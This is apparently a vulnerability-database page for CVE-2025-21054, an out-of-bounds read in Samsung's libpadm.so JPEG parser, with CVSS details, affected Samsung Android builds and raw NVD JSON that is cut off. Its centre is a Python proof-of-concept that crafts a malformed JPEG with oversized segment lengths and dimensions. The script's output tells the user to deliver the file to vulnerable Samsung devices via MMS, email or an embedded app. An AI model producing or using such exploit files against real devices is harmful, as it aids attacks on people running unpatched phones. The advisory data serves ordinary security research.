Security Vulnerability Report
中文
CVE-2025-21054 CVSS 4.0 MEDIUM

CVE-2025-21054

Published: 2025-10-10 07:15:41
Last Modified: 2025-10-23 12:41:26

Description

Out-of-bounds read in the parsing header for JPEG decoding in libpadm.so prior to SMR Oct-2025 Release 1 allows local attackers to potentially access out-of-bounds memory.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE
Samsung libpadm.so < SMR Oct-2025 Release 1
Samsung Galaxy设备系统镜像 < 2025年10月安全补丁级别

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21054 PoC - Malformed JPEG Header for OOB Read in libpadm.so # This PoC generates a crafted JPEG file with an invalid header segment length # to trigger an out-of-bounds read in Samsung's libpadm.so JPEG decoder. import struct import sys def generate_malformed_jpeg(output_path): """ Generate a malformed JPEG file that triggers CVE-2025-21054. The vulnerability is in the JPEG header parsing logic of libpadm.so, where insufficient bounds checking on segment lengths can lead to out-of-bounds memory reads. """ data = bytearray() # SOI (Start of Image) marker data += b'\xFF\xD8' # APP0 (JFIF marker) - normally contains JFIF identifier and version # Craft an APP0 segment with an abnormally large length value # This will cause the parser to read beyond the allocated buffer app0_length = 0xFFFF # Exaggerated length to trigger OOB read data += b'\xFF\xE0' data += struct.pack('>H', app0_length) # Partial data - parser will try to read app0_length bytes beyond this data += b'JFIF\x00' # JFIF identifier data += b'\x01\x01' # Version 1.1 data += b'\x00' # Aspect ratio units data += b'\x00\x01' # X density data += b'\x00\x01' # Y density data += b'\x00\x00' # Thumbnail dimensions # DQT (Define Quantization Table) with invalid table length data += b'\xFF\xDB' # Crafted DQT with length that exceeds actual data data += struct.pack('>H', 0x00FF) # Length field data += b'\x00' # Table ID and precision # Only provide partial quantization values - parser reads beyond data += b'\x10' * 32 # Partial quantization values # SOF0 (Start of Frame) with manipulated image dimensions data += b'\xFF\xC0' data += struct.pack('>H', 11) # Length data += b'\x08' # Precision (8 bits) # Set abnormally large image dimensions to cause OOB read data += struct.pack('>H', 0x7FFF) # Height (max signed short) data += struct.pack('>H', 0x7FFF) # Width (max signed short) data += b'\x03' # Number of components data += b'\x01\x22\x00' # Component 1 data += b'\x02\x11\x01' # Component 2 data += b'\x03\x11\x01' # Component 3 # DHT (Define Huffman Table) - minimal data += b'\xFF\xC4' data += struct.pack('>H', 19) # Length data += b'\x00' # Table class and ID data += b'\x00' * 16 # Number of codes of each length data += b'\x01' # One symbol # SOS (Start of Scan) marker data += b'\xFF\xDA' data += struct.pack('>H', 8) # Length data += b'\x03' # Number of components data += b'\x01\x00' # Component 1 selector data += b'\x02\x11' # Component 2 selector data += b'\x03\x11' # Component 3 selector data += b'\x00\x3F\x00' # Spectral selection and approximation # Minimal scan data - truncated to trigger incomplete parsing data += b'\x00' * 16 # EOI (End of Image) marker data += b'\xFF\xD9' with open(output_path, 'wb') as f: f.write(data) print(f"[+] Malformed JPEG generated: {output_path}") print(f"[+] File size: {len(data)} bytes") print(f"[+] This file targets CVE-2025-21054 in Samsung libpadm.so") print(f"[+] Send this file to a vulnerable Samsung device via MMS, email,") print(f" or embed in an app to trigger the OOB read vulnerability.") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "cve_2025_21054_poc.jpg" generate_malformed_jpeg(output)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21054", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:41.087", "lastModified": "2025-10-23T12:41:25.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in the parsing header for JPEG decoding in libpadm.so prior to SMR Oct-2025 Release 1 allows local attackers to potentially access out-of-bounds memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:*", "matchCriteriaId": "A123EDB1-3048-44B0-8D4D-39A2B24B5F6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "D98F307E-3B01-4C17-86E5-1C6299919417"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "952CA843-7CF0-4424-BDA4-3F2A93E077B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "39F64BAA-2E49-4919-A940-219391383D5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "57B125ED-D939-4CBC-9E96-BBCF02402A69"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "7D7DA96D-9C25-4DDA-A6BF-D998AC346B89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "07AC19C6-D245-4C3A-90CC-A931A901EA0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FDA1685E-D101-46F6-8857-7F0894E07748"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jul-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "DF85AA7B-E1C7-4946-92B4-E4D545CAACDF"}, {"vulnerable": true, "cr ... (truncated)